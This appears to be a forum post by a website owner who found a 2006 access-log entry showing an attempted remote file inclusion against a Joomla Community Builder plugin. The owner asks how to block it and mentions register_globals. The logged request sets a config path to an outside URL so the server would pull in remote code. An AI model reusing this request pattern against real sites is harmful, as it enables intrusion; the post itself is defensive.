Please help urgently.

I found this string in access log:

60.48.87.198 - - [26/Aug/2006:02:33:01 -0400] "GET /administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://druidsutterance.net/xxxxxxxxxxxxxxx? HTTP/1.1" 403 - www.plavanie.com "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6" "-"

I changed some information with xxxxxxxx to prevent another attack based on this post.

Please let me know what changes need to be done to prevent hacker attacks like this.

I found a partial answer to this question - I put php.ini file to the root folder of my site to apply register_globals=off settings, but it did not affect all other directories.

Now I have to ask 1and1 how to apply changes to all the directories.

Is there any other way to prevent these attacks with register_globals=on?
